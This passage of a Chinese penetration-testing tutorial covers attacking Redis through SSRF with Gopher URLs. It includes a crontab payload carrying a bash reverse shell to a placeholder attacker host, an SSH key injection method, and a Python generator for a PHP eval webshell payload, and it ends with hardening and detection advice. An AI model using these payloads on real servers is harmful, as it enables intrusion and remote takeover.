SET可能被禁用可以尝试利用Redis的主从复制机制让目标Redis作为从节点从我们控制的恶意主节点同步数据其中包含恶意的模块.so文件或计划任务从而实现RCE。这需要更复杂的交互但规避了CONFIG命令的限制。5.2 场景二写入Crontab计划任务Linux另一种常见的利用方式是向/var/spool/cron/crontabs/root或对应用户的crontab文件写入计划任务从而实现定时反弹Shell或执行命令。Payload构造思路使用CONFIG SET dir /var/spool/cron/crontabs设置目录。使用CONFIG SET dbfilename root设置文件名对于root用户。使用SET命令写入一个键其值为计划任务内容例如\n\n*/1 * * * * /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01\n\n。执行SAVE。关键注意事项系统差异如参考文章所述Ubuntu系统的cron对文件格式检查非常严格Redis写入时可能包含的额外换行符或不可见字符会导致cron无法正确解析该文件从而使任务失效。而CentOS等系统可能容忍度更高。因此在Ubuntu上通过cron反弹Shell成功率较低。路径确认不同Linux发行版的crontab路径可能略有不同需要根据目标系统确认。常见路径还有/var/spool/cron/rootCentOS或/etc/cron.d/。反弹Shell命令bash -i /dev/tcp/...是经典的Bash TCP重定向反弹Shell确保目标系统有/dev/tcp这个特殊设备Bash内置支持。5.3 场景三写入SSH公钥如果目标服务器开放了SSH服务通常为22端口且Redis运行用户通常是redis有权限写入~/.ssh/authorized_keys文件那么我们可以通过写入SSH公钥实现免密登录。Payload构造思路在攻击机上生成SSH密钥对ssh-keygen -t rsa。将公钥文件id_rsa.pub的内容准备好确保格式正确以ssh-rsa AAA...开头末尾有注释。使用CONFIG SET dir /home/redis/.ssh或/root/.ssh取决于权限。使用CONFIG SET dbfilename authorized_keys。使用SET命令写入一个键其值为你的公钥内容同样建议前后加换行。执行SAVE。使用私钥id_rsa直接SSH登录目标服务器。这种方法比Webshell和Cron更隐蔽因为SSH登录是正常的管理行为。6. 自动化工具与脚本辅助手工构造太痛苦我们必须借助自动化。这里我分享一个用Python编写的简单Payload生成脚本的核心逻辑。你可以根据实际需求进行扩展。import urllib.parse def generate_redis_gopher_payload(commands): 根据Redis命令列表生成Gopher URL编码后的Payload。 commands: 一个字符串列表每个元素是一条完整的Redis命令如 SET key value resp_parts [] for cmd in commands: parts cmd.split() # 构造RESP数组 resp_parts.append(f*{len(parts)}\\r\\n) for part in parts: # 构造RESP批量字符串 resp_parts.append(f${len(part)}\\r\\n{part}\\r\\n) # 合并所有RESP部分 raw_payload .join(resp_parts) # 进行URL编码注意先替换\r\n为%0D%0A然后编码其他字符 # 这里我们直接对整个字符串进行编码quote函数会处理大部分字符但我们需要确保\r\n被正确编码。 # 一个更稳妥的方法是先编码再替换。 encoded_payload urllib.parse.quote(raw_payload, safe) # 由于quote不会编码 \r 和 \n它们是控制字符所以我们需要手动替换 encoded_payload encoded_payload.replace(\\r, %0D).replace(\\n, %0A) # 组装Gopher URL gopher_url fgopher://127.0.0.1:6379/_{encoded_payload} return gopher_url # 示例写入Webshell的命令序列 webshell_commands [ FLUSHALL, SET 1 \\n\\n?php\\neval($_REQUEST[cmd]);\\n?\\n\\n, CONFIG SET dir /var/www/html, CONFIG SET dbfilename shell.php, SAVE, QUIT ] payload generate_redis_gopher_payload(webshell_commands) print(payload)注意这个示例脚本在处理包含空格、引号和换行符的命令参数时可能不够健壮。在实际使用中你需要更精细地构造RESP协议格式特别是对于包含特殊字符的值如我们的Webshell代码应该先将其作为Python字符串处理好再计算长度和拼接。网上有许多成熟的开源工具如redis-rogue-server、SSRFmap等已经实现了更健壮的Payload生成功能建议在实战中优先使用这些工具。7. 防御策略与排查建议作为防守方了解攻击手法是为了更好地防御。如果你负责运维以下措施至关重要Redis安全配置强制设置密码在redis.conf中配置requirepass yourStrongPassword。禁止远程访问绑定到本地回环地址bind 127.0.0.1或内网IP切勿绑定0.0.0.0。重命名或禁用危险命令使用rename-command配置项将FLUSHALL、CONFIG、EVAL等命令重命名为随机字符串或直接禁用重命名为。以低权限用户运行不要使用root用户运行Redis服务。启用保护模式确保protected-mode设置为yes默认。网络层隔离将Redis服务部署在内网通过防火墙严格限制访问源IP只允许特定的应用服务器访问。Web应用层防御针对SSRF输入校验与过滤对用户输入的URL进行严格的白名单校验只允许访问预期的域名和IP。如果业务只允许HTTP/HTTPS则直接禁用gopher://、file://、ftp://等危险协议。URL解析与限制使用安全的URL解析库避免通过、#等字符进行绕过。对重定向进行严格管控。出站网络限制在服务器或容器层面使用防火墙或安全组策略限制Web应用服务器的出站连接只允许访问必要的服务端口阻断到内网Redis端口的连接。入侵检测与监控监控Redis日志关注异常的CONFIG SET、FLUSHALL命令尤其是对dir和dbfilename的修改。监控文件系统变化在Web目录或cron目录部署文件完整性监控FIM及时发现异常的.php文件或crontab修改。网络流量分析监控Web服务器是否有异常的外连或向非常见端口如6379发起的连接。攻击与防御是一场永不停歇的博弈。通过SSRF利用Gopher攻击Redis是一条经典且有效的内网横向移动路径。理解其原理、掌握手工和自动化构造Payload的方法不仅能让你在渗透测试中多一种利器更能让你从防御者的角度看清整个攻击链的薄弱环节从而构建起更稳固的安全防线。记住真正的安全不在于完全杜绝漏洞而在于当一层防御被突破时还有下一层防御在等待。